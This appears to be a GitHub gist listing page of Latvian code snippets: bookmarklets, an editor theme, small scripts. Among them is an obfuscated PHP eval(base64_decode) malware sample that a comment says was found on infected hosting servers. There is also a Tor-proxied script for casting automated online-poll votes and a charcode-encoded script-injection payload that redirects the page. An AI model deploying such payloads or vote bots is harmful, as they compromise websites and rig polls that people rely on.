Skip to content

Instantly share code, notes, and snippets.

View blackhalt's full-sized avatar
🎯
Focusing

BlackHalt blackhalt

🎯
Focusing
View GitHub Profile
@blackhalt
blackhalt / temperatuura.php
Created July 8, 2012 11:59
Faktiskā temperatūra
<?php
$json = file_get_contents('http://www.meteo.lv/meteorologijas-operativie-dati/');
$obj = json_decode($json);
$graadi = $obj->stations[5]->parameters[0]->{'value'};
echo $graadi;
@blackhalt
blackhalt / gist:3141244
Created July 19, 2012 07:06
Žurnālisti
<!--
BlackHalt bh.id.lv
-->
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<title>Žurnālisti</title>
@blackhalt
blackhalt / Padara saites spiežamas.js
Created July 19, 2012 07:50
Linkify Bookmarklets vienkāršas teksta saites Padara spiežamas
javascript:(function(){var%20D=document;%20D.body.normalize();%20F(D.body);%20function%20F(n){var%20u,A,M,R,c,x;%20if(n.nodeType==3){%20u=n.data.search(/https?\:\/\/[^\s]*[^.,;'%22>\s\)\]]/);%20if(u>=0)%20{%20M=n.splitText(u);%20R=M.splitText(RegExp.lastMatch.length);%20A=document.createElement(%22A%22);%20A.href=M.data;%20A.appendChild(M);%20R.parentNode.insertBefore(A,R);%20}%20}else%20if(n.tagName!=%22STYLE%22%20&&%20n.tagName!=%22SCRIPT%22%20&&%20n.tagName!=%22A%22)for(c=0;x=n.childNodes[c];++c)F(x);%20}%20})();
<?php
// vairākos failos un (cirslis|cauna).sigmanet.lv
// sermulis.sigmanet.lv pagaidām "tīrs"
// citi sabojātie kodi nav ievietoti!
eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpIGFuZCAhc3RyaXN0cigkdWFnLCJNU0lFIDYuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJsaXZlLmNvbSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIndlYmFsdGEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20vbCIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImFvbC5jb20iKSkgew0
@blackhalt
blackhalt / blackhalt.conf
Last active December 15, 2015 04:49
Geany krāsojums. Iekopēt kā ~/.config/geany/colorschemes/blackhalt.conf Tad no Geany > View > Editor > Color Schemes izvēlēties BlackHalt
[theme_info]
name=BlackHalt
description=BlackHalt's Geany alternative theme
version=1.0
author=BlackHalt
url=http://bh.id.lv/
[named_styles]
@blackhalt
blackhalt / Balsot!.php
Last active December 15, 2015 06:59
Interneta balsotājs. Parastais
<?php
# Šis ir standarta TOR, bet var būt ari cits proxy vai pat proxy lista cikls :
define("PROX", "127.0.0.1:9050");
$ch = curl_init();
# POSTējamie dati. Pirmais = lauks, otrs = vertība
$data = array(
@blackhalt
blackhalt / ln.js
Last active March 6, 2017 13:01
LinkedIn “People You May Know” sekot visiem bookmarklets
xautoclick
@blackhalt
blackhalt / sekot.js
Created May 28, 2013 04:36
TW sekot visiem
javascript:e=document.getElementsByClassName('follow-text');for(i=0;i<e.length;i++){e[i].click();}void(0);
@blackhalt
blackhalt / firefox-sync.sh
Created May 30, 2013 11:34
Firefox sinhronizācija ar RAMdisku
#!/bin/sh
static=main
link=Firefox profils
volatile=/tmp/ram
IFS=
set -efu
cd ~/.mozilla/firefox
<script>document.write(String.fromCharCode(60,109,101,116,97,32,104,116,116,112,45,101,113,117,105,118,61,34,114,101,102,114,101,115,104,34,32,99,111,110,116,101,110,116,61,34,49,48,59,117,114,108,61,104,116,116,112,58,47,47,101,110,46,119,105,107,105,112,101,100,105,97,46,111,114,103,47,119,105,107,105,47,67,114,111,115,115,45,115,105,116,101,95,115,99,114,105,112,116,105,110,103,34,62))</script><script>alert(String.fromCharCode(80,275,99,32,50,48,32,115,101,107,117,110,100,275,109,32,74,363,115,32,116,105,107,115,105,101,116,32,110,111,118,105,114,122,299,116,115,32,117,122,32,109,363,115,117,32,106,97,117,110,111,32,109,257,106,97,115,108,97,112,117,33))</script><!--